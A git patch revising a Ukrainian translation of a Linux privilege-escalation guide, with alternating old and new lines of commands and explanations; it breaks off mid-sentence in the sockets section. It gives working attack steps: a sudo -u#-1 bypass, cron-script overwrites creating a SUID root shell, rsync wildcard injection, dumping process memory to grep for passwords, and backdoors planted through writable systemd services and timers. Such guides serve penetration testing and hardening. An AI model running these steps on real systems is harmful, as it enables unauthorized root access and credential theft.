From 1fb51f50fb959660dcad5c647a2e67c595b0048e Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 28 Aug 2025 18:53:03 +0000 Subject: [PATCH] Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m --- .../privilege-escalation/README.md | 637 +++++++++--------- .../pentesting-web/apache.md | 145 ++-- 2 files changed, 409 insertions(+), 373 deletions(-) diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index c98f63dea..478b29061 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -4,9 +4,9 @@ ## System Information -### OS info +### Інформація про ОС -Давайте почнемо отримувати деякі знання про ОС, що працює +Почнемо з отримання інформації про запущену ОС. ```bash (cat /proc/version || uname -a ) 2>/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### Шлях -Якщо у вас **є права на запис у будь-яку папку всередині змінної `PATH`**, ви можете мати можливість перехопити деякі бібліотеки або бінарні файли: +Якщо ви **маєте права запису в будь-якій папці всередині змінної `PATH`**, ви можете перехопити деякі бібліотеки або бінарні файли: ```bash echo $PATH ``` ### Env info -Цікава інформація, паролі або API ключі в змінних середовища? +Цікава інформація, паролі чи API-ключі у змінних оточення? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -Перевірте версію ядра та чи є якісь експлойти, які можна використати для ескалації привілеїв. +Перевірте версію kernel та чи існує якийсь exploit, який можна використати для escalate privileges ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -Ви можете знайти хороший список вразливих ядер та деякі вже **скомпільовані експлойти** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -Інші сайти, де ви можете знайти деякі **скомпільовані експлойти**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +Ви можете знайти хороший список вразливих kernel та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -Щоб витягти всі вразливі версії ядра з цього веб-сайту, ви можете зробити: +Щоб витягти всі версії вразливих kernel з цього сайту, ви можете зробити так: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` -Інструменти, які можуть допомогти в пошуку експлойтів ядра: +Інструменти, які можуть допомогти шукати kernel exploits: [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати НА жертві, перевіряє експлойти лише для ядра 2.x) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконувати IN victim, перевіряє лише exploits для kernel 2.x) -Завжди **шукайте версію ядра в Google**, можливо, ваша версія ядра вказана в якому-небудь експлойті ядра, і тоді ви будете впевнені, що цей експлойт дійсний. +Завжди **search the kernel version in Google**, можливо ваш kernel version вказаний у якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний. ### CVE-2016-5195 (DirtyCow) @@ -57,13 +57,13 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -### Версія Sudo +### Sudo version -На основі вразливих версій sudo, які з'являються в: +На основі вразливих версій sudo, що наведені в: ```bash searchsploit sudo ``` -Ви можете перевірити, чи вразлива версія sudo, використовуючи цей grep. +Ви можете перевірити, чи версія sudo вразлива, використавши цей grep. ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` @@ -73,20 +73,20 @@ sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\. ``` sudo -u#-1 /bin/bash ``` -### Dmesg підпис не вдалося перевірити +### Dmesg перевірка підпису не пройшла -Перевірте **smasher2 box of HTB** для **прикладу** того, як цю вразливість можна експлуатувати +Перевірте **smasher2 box of HTB** для **прикладу** того, як цю vuln можна експлуатувати ```bash dmesg 2>/dev/null | grep "signature" ``` -### Більше системної енумерації +### Додаткова системна енумерація ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` -## Перерахування можливих захистів +## Перелічте можливі засоби захисту ### AppArmor ```bash @@ -123,15 +123,16 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -Якщо ви всередині контейнера docker, ви можете спробувати втекти з нього: +Якщо ви всередині docker container, ви можете спробувати вирватися з нього: + {{#ref}} docker-security/ {{#endref}} -## Drives +## Диски -Перевірте **що змонтовано і не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації. +Перевірте **що змонтовано і що не змонтовано**, де і чому. Якщо щось не змонтовано, ви можете спробувати змонтувати це і перевірити на наявність приватної інформації ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,60 +141,60 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## Корисне програмне забезпечення -Перерахуйте корисні двійкові файли +Перелічити корисні бінарні файли ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -Також перевірте, чи **встановлений будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь експлойт ядра, оскільки рекомендується компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). +Також перевірте, чи встановлено **будь-який компілятор**. Це корисно, якщо вам потрібно використовувати якийсь kernel exploit, оскільки рекомендовано компілювати його на машині, де ви збираєтеся його використовувати (або на подібній). ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -### Вразливе програмне забезпечення встановлено +### Встановлене вразливе програмне забезпечення -Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яка може бути використана для ескалації привілеїв…\ -Рекомендується вручну перевірити версію більш підозрілого встановленого програмного забезпечення. +Перевірте **версію встановлених пакетів і сервісів**. Можливо, є якась стара версія Nagios (наприклад), яку можна експлуатувати для escalating privileges…\ +Рекомендується вручну перевіряти версію більш підозрілого встановленого програмного забезпечення. ```bash dpkg -l #Debian rpm -qa #Centos ``` -Якщо у вас є доступ до машини через SSH, ви також можете використовувати **openVAS** для перевірки застарілого та вразливого програмного забезпечення, встановленого на машині. +Якщо у вас є доступ по SSH до машини, ви також можете використовувати **openVAS** для перевірки на застаріле та вразливе програмне забезпечення, встановлене на цій машині. -> [!NOTE] > _Зверніть увагу, що ці команди покажуть багато інформації, яка в основному буде марною, тому рекомендується використовувати деякі програми, такі як OpenVAS або подібні, які перевірять, чи є будь-яка версія встановленого програмного забезпечення вразливою до відомих експлойтів._ +> [!NOTE] > _Зауважте, що ці команди покажуть багато інформації, яка переважно буде марною, тому рекомендовано використовувати такі додатки як OpenVAS або подібні, які перевіряють, чи будь-яка встановлена версія ПЗ вразлива до відомих exploits_ ## Процеси -Подивіться на **які процеси** виконуються і перевірте, чи має який-небудь процес **більше привілеїв, ніж повинен** (можливо, tomcat виконується від імені root?) +Перегляньте, **які процеси** виконуються, і перевірте, чи якийсь процес не має **більше привілеїв, ніж повинен** (наприклад, tomcat, що запускається від імені root?) ```bash ps aux ps -ef top -n 1 ``` -Завжди перевіряйте наявність можливих [**electron/cef/chromium debuggers**], які працюють, ви можете зловживати цим для ескалації привілеїв](electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляють їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ -Також **перевірте свої привілеї над бінарними файлами процесів**, можливо, ви зможете перезаписати когось. +Завжди перевіряйте, чи не запущені [**electron/cef/chromium debuggers**], їх можна використати для підвищення привілеїв (electron-cef-chromium-debugger-abuse.md). **Linpeas** виявляє їх, перевіряючи параметр `--inspect` у командному рядку процесу.\ +Також **перевірте свої привілеї щодо бінарних файлів процесів**, можливо, ви зможете перезаписати якийсь. ### Моніторинг процесів -Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy), для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, які виконуються часто або коли виконуються певні умови. +Ви можете використовувати інструменти, такі як [**pspy**](https://github.com/DominicBreuker/pspy) для моніторингу процесів. Це може бути дуже корисно для виявлення вразливих процесів, що виконуються часто або коли виконані певні умови. ### Пам'ять процесу -Деякі служби сервера зберігають **облікові дані у відкритому тексті в пам'яті**.\ -Зазвичай вам потрібні **привілеї root**, щоб читати пам'ять процесів, які належать іншим користувачам, тому це зазвичай більш корисно, коли ви вже є root і хочете виявити більше облікових даних.\ -Однак пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**. +Деякі сервіси на сервері зберігають **credentials у відкритому вигляді в пам'яті**.\ +Зазвичай вам потрібні **root privileges** щоб читати пам'ять процесів, що належать іншим користувачам, тому це зазвичай корисніше, коли ви вже root і хочете знайти ще credentials.\ +Проте пам'ятайте, що **як звичайний користувач ви можете читати пам'ять процесів, якими володієте**. > [!WARNING] -> Зверніть увагу, що в наш час більшість машин **не дозволяють ptrace за замовчуванням**, що означає, що ви не можете скинути інші процеси, які належать вашому непривабливому користувачу. +> Зверніть увагу, що сьогодні більшість машин **за замовчуванням не дозволяють ptrace**, що означає, що ви не можете дампити інші процеси, які належать непривілейованому користувачу. > > Файл _**/proc/sys/kernel/yama/ptrace_scope**_ контролює доступність ptrace: > -> - **kernel.yama.ptrace_scope = 0**: всі процеси можуть бути налагоджені, якщо у них однаковий uid. Це класичний спосіб, як працював ptracing. -> - **kernel.yama.ptrace_scope = 1**: тільки батьківський процес може бути налагоджений. -> - **kernel.yama.ptrace_scope = 2**: тільки адміністратор може використовувати ptrace, оскільки це вимагає можливості CAP_SYS_PTRACE. -> - **kernel.yama.ptrace_scope = 3**: жоден процес не може бути відстежений за допомогою ptrace. Після встановлення потрібно перезавантаження, щоб знову активувати ptracing. +> - **kernel.yama.ptrace_scope = 0**: усі процеси можуть бути відлагоджені, якщо вони мають той самий uid. Це класичний спосіб роботи ptrace. +> - **kernel.yama.ptrace_scope = 1**: можна відлагоджувати лише батьківський процес. +> - **kernel.yama.ptrace_scope = 2**: лише адмін може використовувати ptrace, оскільки це вимагає capability CAP_SYS_PTRACE. +> - **kernel.yama.ptrace_scope = 3**: жодні процеси не можуть бути трасовані ptrace. Після встановлення потрібно перезавантажити систему, щоб знову ввімкнути ptrace. #### GDB -Якщо у вас є доступ до пам'яті служби FTP (наприклад), ви можете отримати Heap і шукати в його облікових даних. +Якщо у вас є доступ до пам'яті сервісу FTP (наприклад), ви можете отримати Heap і шукати в ньому credentials. ```bash gdb -p (gdb) info proc mappings @@ -202,7 +203,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB Скрипт +#### GDB скрипт ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +216,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -Для заданого ідентифікатора процесу, **maps показує, як пам'ять відображається в віртуальному адресному просторі цього процесу**; також показує **дозволи кожного відображеного регіону**. Псевдофайл **mem** **експонує пам'ять процесів**. З файлу **maps** ми знаємо, які **регіони пам'яті є читабельними** та їх зсуви. Ми використовуємо цю інформацію, щоб **перейти до файлу mem і скинути всі читабельні регіони** в файл. +Для заданого ідентифікатора процесу **maps показують, як пам'ять відображається в межах цього процесу** віртуального адресного простору; вони також показують **права доступу для кожного відображеного регіону**. Псевдофайл **mem** **надає доступ до самої пам'яті процесу**. З файлу **maps** ми знаємо, які **області пам'яті доступні для читання** та їхні зсуви. Ми використовуємо цю інформацію, щоб **seek into the mem file and dump all readable regions** to a file. ```bash procdump() ( @@ -230,14 +231,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` надає доступ до **фізичної** пам'яті системи, а не до віртуальної пам'яті. Віртуальний адресний простір ядра можна отримати за допомогою /dev/kmem.\ -Зазвичай, `/dev/mem` доступний лише для читання **root** та групи **kmem**. +`/dev/mem` надає доступ до системної **фізичної** пам'яті, а не до віртуальної пам'яті. До віртуального адресного простору ядра можна отримати доступ за допомогою /dev/kmem.\ +Зазвичай `/dev/mem` доступний для читання лише для **root** та групи **kmem**. ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump для linux -ProcDump є переосмисленням класичного інструменту ProcDump з набору інструментів Sysinternals для Windows. Отримайте його за посиланням [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump — це реалізація для Linux класичного інструмента ProcDump із набору інструментів Sysinternals для Windows. Отримати можна за [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ``` procdump -p 1714 @@ -266,40 +267,40 @@ Press Ctrl-C to end monitoring without terminating the process. ``` ### Інструменти -Щоб вивантажити пам'ять процесу, ви можете використовувати: +Щоб здампити пам'ять процесу, можна використати: - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну видалити вимоги до root і вивантажити процес, що належить вам -- Скрипт A.5 з [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (потрібен root) +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_Ви можете вручну прибрати вимоги root і здампити процес, який належить вам +- Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (вимагається root) ### Облікові дані з пам'яті процесу #### Ручний приклад -Якщо ви виявите, що процес аутентифікації працює: +Якщо ви виявите, що процес authenticator запущено: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -Ви можете скинути процес (див. попередні розділи, щоб знайти різні способи скидання пам'яті процесу) і шукати облікові дані всередині пам'яті: +Ви можете зробити dump процесу (див. попередні розділи, щоб знайти різні способи dump the memory of a process) і шукати credentials всередині memory: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) **викраде відкриті облікові дані з пам'яті** та з деяких **відомих файлів**. Для правильної роботи потрібні права root. +Інструмент [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) буде **викрадати облікові дані у відкритому вигляді з пам'яті** та з деяких **відомих файлів**. Для коректної роботи вимагає привілеїв root. -| Функція | Назва процесу | +| Функція | Ім'я процесу | | ------------------------------------------------- | -------------------- | -| Пароль GDM (Kali Desktop, Debian Desktop) | gdm-password | +| GDM password (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | | LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Активні FTP з'єднання) | vsftpd | -| Apache2 (Активні сесії HTTP Basic Auth) | apache2 | -| OpenSSH (Активні SSH сесії - використання Sudo) | sshd: | +| VSFTPd (Active FTP Connections) | vsftpd | +| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | +| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | -#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) +#### Пошук регулярних виразів/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -313,9 +314,9 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## Заплановані/Крон завдання +## Заплановані/Cron jobs -Перевірте, чи є які-небудь заплановані завдання вразливими. Можливо, ви зможете скористатися скриптом, що виконується від імені root (вразливість wildcard? можна змінювати файли, які використовує root? використовувати символічні посилання? створювати специфічні файли в каталозі, який використовує root?). +Перевірте, чи якісь заплановані завдання вразливі. Можливо, ви зможете скористатися скриптом, що виконується від імені root (wildcard vuln? можна змінити файли, які використовує root? використати symlinks? створити специфічні файли в директорії, яку використовує root?). ```bash crontab -l ls -al /etc/cron* /etc/at* @@ -327,144 +328,144 @@ cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/nul (_Зверніть увагу, що користувач "user" має права на запис у /home/user_) -Якщо всередині цього crontab користувач root намагається виконати якусь команду або скрипт без встановлення шляху. Наприклад: _\* \* \* \* root overwrite.sh_\ -Тоді ви можете отримати root shell, використовуючи: +Якщо в цьому crontab користувач root намагається виконати якусь команду або скрипт, не встановивши PATH. Наприклад: _\* \* \* \* root overwrite.sh_\ +Тоді ви можете отримати root shell, використавши: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -### Cron використовуючи скрипт з підстановочним знаком (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) -Якщо скрипт, що виконується від імені root, містить “**\***” всередині команди, ви можете використати це для виконання несподіваних дій (наприклад, підвищення привілеїв). Приклад: +Якщо скрипт виконується від імені root і має “**\***” всередині команди, ви можете експлуатувати це, щоб виконати непередбачувані дії (наприклад privesc). Приклад: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` -**Якщо символ підстановки передує шляху, як** _**/some/path/\***_ **, він не є вразливим (навіть** _**./\***_ **не є).** +**Якщо wildcard передує шляху, наприклад** _**/some/path/\***_ **, це не вразливе (навіть** _**./\***_ **ні).** + +Прочитайте наступну сторінку для додаткових трюків з експлуатації wildcard: -Прочитайте наступну сторінку для отримання додаткових трюків експлуатації символів підстановки: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Перезапис скрипта Cron і символічне посилання +### Перезапис Cron script і symlink -Якщо ви **можете змінити скрипт cron**, що виконується від імені root, ви можете дуже легко отримати оболонку: +Якщо ви **можете змінити cron script**, який виконується від імені root, ви можете дуже легко отримати shell: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -Якщо скрипт, виконуваний root, використовує **каталог, до якого у вас є повний доступ**, можливо, буде корисно видалити цей каталог і **створити символічне посилання на інший**, що виконує скрипт, контрольований вами. +Якщо script, який виконується під root, використовує **directory, де у вас є full access**, можливо, варто видалити цю folder і **створити symlink folder на іншу**, що містить script, контрольований вами ```bash ln -d -s ``` -### Часті cron завдання +### Часті cron jobs -Ви можете моніторити процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї. +Ви можете відстежувати процеси, щоб шукати процеси, які виконуються кожні 1, 2 або 5 хвилин. Можливо, ви зможете скористатися цим і підвищити привілеї. -Наприклад, щоб **моніторити кожні 0.1с протягом 1 хвилини**, **сортувати за менш виконуваними командами** і видалити команди, які виконувалися найбільше, ви можете зробити: +Наприклад, щоб **відстежувати кожні 0.1s протягом 1 minute**, **відсортувати за найменш виконуваними командами** та видалити команди, які виконувалися найчастіше, ви можете зробити: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (це буде моніторити та перераховувати кожен процес, що запускається). +**Ви також можете використовувати** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (воно відстежуватиме та перелічуватиме кожен процес, що запускається). -### Невидимі cron завдання +### Невидимі cron jobs -Можливо створити cronjob **додавши символ повернення каретки після коментаря** (без символу нового рядка), і cron завдання буде працювати. Приклад (зверніть увагу на символ повернення каретки): +Можна створити cronjob, **вставивши carriage return після коментаря** (без символу newline), і cronjob працюватиме. Приклад (зверніть увагу на символ carriage return): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` -## Послуги +## Сервіси -### Записувані _.service_ файли +### Файли _.service_, доступні для запису -Перевірте, чи можете ви записати будь-який `.service` файл, якщо так, ви **можете змінити його**, щоб він **виконував** ваш **бекдор, коли** служба **запускається**, **перезапускається** або **зупиняється** (можливо, вам потрібно буде почекати, поки машина перезавантажиться).\ -Наприклад, створіть ваш бекдор всередині .service файлу з **`ExecStart=/tmp/script.sh`** +Перевірте, чи можете ви записувати будь-який `.service` файл; якщо можете, ви **можете змінити його** так, щоб він **виконував** ваш **backdoor**, коли сервіс **запускається**, **перезапускається** або **зупиняється** (можливо, доведеться чекати, поки машина не перезавантажиться).\ +Наприклад, створіть ваш backdoor всередині файлу .service з **`ExecStart=/tmp/script.sh`** -### Записувані бінарні файли служби +### Бінарні файли сервісів, доступні для запису -Майте на увазі, що якщо у вас є **права на запис для бінарних файлів, які виконуються службами**, ви можете змінити їх на бекдори, щоб, коли служби будуть повторно виконані, бекдори також виконувалися. +Майте на увазі, що якщо у вас є **права запису** на binaries, які виконуються сервісами, ви можете замінити їх на backdoors — тоді при повторному запуску сервісів backdoors буде виконано. ### systemd PATH - Відносні шляхи -Ви можете побачити PATH, який використовується **systemd** за допомогою: +Ви можете побачити PATH, який використовує **systemd**, за допомогою: ```bash systemctl show-environment ``` -Якщо ви виявите, що можете **записувати** в будь-якій з папок шляху, ви можете мати можливість **підвищити привілеї**. Вам потрібно шукати **відносні шляхи, що використовуються в конфігураційних** файлах сервісів, таких як: +Якщо ви виявите, що можете **write** у будь-яку з папок цього шляху, можливо, ви зможете **escalate privileges**. Потрібно шукати **relative paths being used on service configurations** у конфігураційних файлах сервісів, наприклад: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Тоді створіть **виконуваний файл** з **тим самим ім'ям, що й відносний шлях до бінарного файлу** в папці системи systemd, в яку ви можете записувати, і коли служба буде запитана для виконання вразливої дії (**Start**, **Stop**, **Reload**), ваш **бекдор буде виконано** (зазвичай неправа користувачі не можуть запускати/зупиняти служби, але перевірте, чи можете ви використовувати `sudo -l`). +Потім створіть **executable** з **тим же ім'ям, що і relative path binary**, у папці PATH systemd, до якої ви маєте права на запис, і коли сервіс попросять виконати вразливу дію (**Start**, **Stop**, **Reload**), ваш **backdoor буде виконано** (непривілейовані користувачі зазвичай не можуть запускати/зупиняти сервіси, але перевірте, чи можете використати `sudo -l`). -**Дізнайтеся більше про служби за допомогою `man systemd.service`.** +**Дізнайтеся більше про сервіси за допомогою `man systemd.service`.** ## **Таймери** -**Таймери** - це файли одиниць systemd, назва яких закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можуть бути використані як альтернатива cron, оскільки вони мають вбудовану підтримку календарних подій та монотонних подій і можуть виконуватися асинхронно. +**Таймери** — це systemd unit файли, чиє ім'я закінчується на `**.timer**`, які контролюють `**.service**` файли або події. **Таймери** можна використовувати як альтернативу cron, оскільки вони мають вбудовану підтримку подій за календарним часом і монотоничних часових подій та можуть виконуватися асинхронно. Ви можете перерахувати всі таймери за допомогою: ```bash systemctl list-timers --all ``` -### Writable timers +### Таймери, доступні для запису -Якщо ви можете змінити таймер, ви можете змусити його виконати деякі екземпляри systemd.unit (як `.service` або `.target`) +Якщо ви можете змінити таймер, ви можете змусити його виконати деякі існуючі systemd.unit (наприклад `.service` або `.target`) ```bash Unit=backdoor.service ``` -У документації ви можете прочитати, що таке Unit: +У документації можна прочитати, що таке Unit: -> Юніт, який потрібно активувати, коли цей таймер спливає. Аргумент - це ім'я юніта, суфікс якого не ".timer". Якщо не вказано, це значення за замовчуванням є сервісом, який має таку ж назву, як юніт таймера, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я юніта, який активується, і ім'я юніта таймера були однаковими, за винятком суфікса. +> Юніт, який активується, коли цей таймер спливає. Аргумент — це ім'я unit, суфікс якого не є ".timer". Якщо не вказано, це значення за замовчуванням відповідає сервісу, який має те ж саме ім'я, що й таймер-юнит, за винятком суфікса. (Див. вище.) Рекомендується, щоб ім'я unit, який активується, і ім'я таймер-юнита мали однакові назви, за винятком суфікса. Отже, щоб зловживати цим дозволом, вам потрібно: -- Знайти якийсь юніт systemd (наприклад, `.service`), який **виконує записуваний бінарний файл** -- Знайти якийсь юніт systemd, який **виконує відносний шлях** і у вас є **права на запис** над **шляхом systemd** (щоб видавати себе за цей виконуваний файл) +- Знайти якийсь systemd unit (наприклад, `.service`), який **виконує записуваний бінарний файл** +- Знайти якийсь systemd unit, який **виконує відносний шлях** і над яким ви маєте **права на запис** у **systemd PATH** (щоб видавати себе за цей виконуваний файл) -**Дізнайтеся більше про таймери за допомогою `man systemd.timer`.** +**Дізнайтесь більше про таймери за допомогою `man systemd.timer`.** ### **Увімкнення таймера** -Щоб увімкнути таймер, вам потрібні права root і потрібно виконати: +Щоб увімкнути таймер, потрібні привілеї root і потрібно виконати: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Зверніть увагу, що **таймер** **активується** шляхом створення символічного посилання на нього в `/etc/systemd/system/.wants/.timer` +Зауважте, що **timer** **активується** шляхом створення символічного посилання на нього в `/etc/systemd/system/.wants/.timer` ## Сокети -Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тих же або різних машинах у рамках моделей клієнт-сервер. Вони використовують стандартні файли дескрипторів Unix для міжкомп'ютерної комунікації та налаштовуються через файли `.socket`. +Unix Domain Sockets (UDS) дозволяють **комунікацію процесів** на тій самій або на різних машинах у клієнт-серверних моделях. Вони використовують стандартні Unix дескриптори файлів для міжкомп'ютерної комунікації і налаштовуються через `.socket` файли. -Сокети можна налаштувати за допомогою файлів `.socket`. +Сокети можна конфігурувати за допомогою `.socket` файлів. -**Дізнайтеся більше про сокети за допомогою `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: +**Дізнайтеся більше про сокети з `man systemd.socket`.** У цьому файлі можна налаштувати кілька цікавих параметрів: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці параметри різні, але підсумок використовується для **вказівки, де буде прослуховуватися** сокет (шлях до файлу сокета AF_UNIX, IPv4/6 та/або номер порту для прослуховування тощо) -- `Accept`: Приймає булевий аргумент. Якщо **true**, **екземпляр служби створюється для кожного вхідного з'єднання** і лише сокет з'єднання передається йому. Якщо **false**, всі сокети прослуховування самі **передаються запущеній одиниці служби**, і лише одна одиниця служби створюється для всіх з'єднань. Це значення ігнорується для датаграмних сокетів і FIFO, де одна одиниця служби безумовно обробляє весь вхідний трафік. **За замовчуванням false**. З міркувань продуктивності рекомендується писати нові демони лише в спосіб, який підходить для `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Приймає одну або кілька командних рядків, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **створені** та прив'язані відповідно. Перший токен командного рядка повинен бути абсолютним іменем файлу, за ним слідують аргументи для процесу. -- `ExecStopPre`, `ExecStopPost`: Додаткові **команди**, які **виконуються перед** або **після** того, як прослуховуючі **сокети**/FIFO **закриті** та видалені відповідно. -- `Service`: Вказує ім'я **одиниці служби**, **яку потрібно активувати** при **вхідному трафіку**. Ця настройка дозволена лише для сокетів з Accept=no. За замовчуванням це служба, яка має таку ж назву, як сокет (з заміною суфікса). У більшості випадків не повинно бути необхідності використовувати цю опцію. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Ці опції різні, але коротко використовуються для **вказання, де буде прослуховуватися** сокет (шлях до AF_UNIX socket файлу, IPv4/6 і/або номер порту для прослуховування тощо). +- `Accept`: Приймає булевий аргумент. Якщо **true**, для кожного вхідного з'єднання породжується окрема **service instance** і їй передається тільки сокет 